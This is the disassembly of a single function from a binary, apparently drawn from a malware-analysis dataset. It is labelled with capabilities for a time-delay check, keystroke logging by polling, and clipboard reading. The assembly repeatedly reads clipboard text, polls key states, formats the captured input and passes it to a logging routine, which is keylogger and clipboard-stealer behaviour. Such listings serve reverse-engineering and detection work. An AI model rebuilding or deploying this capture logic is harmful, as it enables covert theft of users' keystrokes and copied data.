Function at 0x1000e73c
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.1002c250
mov eax, dword [0x10045390]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x28
call fcn.10019ca9
mov esi, eax
push 0xa
xor eax, eax
pop ecx
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp], 0x7fe
push eax
mov word [ebp - 0x804], ax
lea eax, [ebp - 0x802]
push eax
mov dword [ebp - 0x1008], esi
call fcn.100207d0
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax], 0
je 0x1000eac5
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [0x1004d408]
cmp eax, 0x5dc
jbe 0x1000e8a5
call edi
push eax
push 0x1004d408
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
mov dword [ebp - 0x1014], esi
test esi, esi
je 0x1000e89f
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
lea eax, [eax + eax + 2]
push esi
mov dword [ebp - 0x1010], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
test esi, esi
je 0x1000e893
mov edi, 0x800
cmp dword [ebp - 0x1010], edi
jge 0x1000e893
lea eax, [ebp - 0x1004]
mov ecx, esi
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x1000e84a
test dx, dx
je 0x1000e846
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x1000e84a
add ecx, 4
add eax, 4
test dx, dx
jne 0x1000e824
xor eax, eax
jmp 0x1000e84f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e893
push dword [ebp - 0x1010]
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.1001ff30
push esi
lea eax, [ebp - 0x804]
push 0x1003e1dc
push eax
call ebx
lea eax, [ebp - 0x804]
push eax
call fcn.1000e596
push edi
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.100207d0
add esp, 0x28
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.1000e62c
test eax, eax
je 0x1000e8b9
push 0x1003e1f8
call fcn.1000e596
pop ecx
mov eax, dword [0x1004c6b0]
xor esi, esi
cmp eax, esi
je 0x1000e8e1
push esi
push 0x1004c6b4
push 0x1004c6b8
push 0x14
mov dword [0x1004c6b4], 0x3c
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov dword [ebp - 0x1010], esi
cmp dword [0x1004c6b4], esi
jle 0x1000ea97
mov dword [ebp - 0x1014], esi
and dword [ebp - 0x100c], 0
mov esi, dword [ebp - 0x100c]
mov eax, dword [ebp - 0x1014]
imul esi, esi, 0x7c
mov ecx, dword [eax + 0x1004c6b8]
dec ecx
cmp ecx, dword [esi + 0x10048190]
jne 0x1000ea65
test byte [eax + 0x1004c6bc], 0x80
je 0x1000ea2f
cmp dword [ebp - 0x100c], 0x39
jne 0x1000e962
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x1000e958
cmp ax, 1
je 0x1000e958
and dword [0x1004cb70], 0
jmp 0x1000e97c
mov dword [0x1004cb70], 1
cmp dword [ebp - 0x100c], 0x29
je 0x1000ea06
cmp dword [ebp - 0x100c], 0x35
je 0x1000ea06
cmp dword [0x1004cb6c], 0
je 0x1000e9ca
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + 0x10048140]
push eax
mov dword [ebp - 0x1018], eax
call edi
test eax, eax
je 0x1000e9a6
push dword [ebp - 0x1018]
jmp 0x1000e9ee
cmp dword [0x1004cb70], 0
je 0x1000e9e7
lea eax, [esi + 0x10048168]
push eax
mov dword [ebp - 0x1018], eax
call edi
test eax, eax
je 0x1000e9e7
push dword [ebp - 0x1018]
jmp 0x1000e9ee
cmp dword [0x1004cb70], 0
je 0x1000e9e7
lea edi, [esi + 0x10048168]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000e9e7
push edi
jmp 0x1000e9ee
lea eax, [esi + str._esc_]
push eax
push dword [ebp - 0x1008]
push 0x1003e210
push dword [ebp - 0x1008]
call ebx
add esp, 0x10
jmp 0x1000ea65
lea eax, [esi + str._esc_]
push eax
push dword [ebp - 0x1008]
push 0x1003e204
push dword [ebp - 0x1008]
call ebx
add esp, 0x10
mov dword [0x1004cb6c], 1
jmp 0x1000ea65
cmp dword [ebp - 0x100c], 0x29
je 0x1000ea41
cmp dword [ebp - 0x100c], 0x35
jne 0x1000ea65
lea eax, [esi + str._esc_]
push eax
push dword [ebp - 0x1008]
push str._s_s
push dword [ebp - 0x1008]
call ebx
add esp, 0x10
and dword [0x1004cb6c], 0
inc dword [ebp - 0x100c]
cmp dword [ebp - 0x100c], 0x66
jl 0x1000e900
inc dword [ebp - 0x1010]
mov eax, dword [ebp - 0x1010]
add dword [ebp - 0x1014], 0x14
cmp eax, dword [0x1004c6b4]
jl 0x1000e8f9
mov esi, dword [ebp - 0x1008]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000eab8
push esi
call fcn.1000e596
pop ecx
push 0xa
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1000e79e
pop ebx
test esi, esi
je 0x1000ead0
push esi
call fcn.1001d3d4
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001c645
leave
ret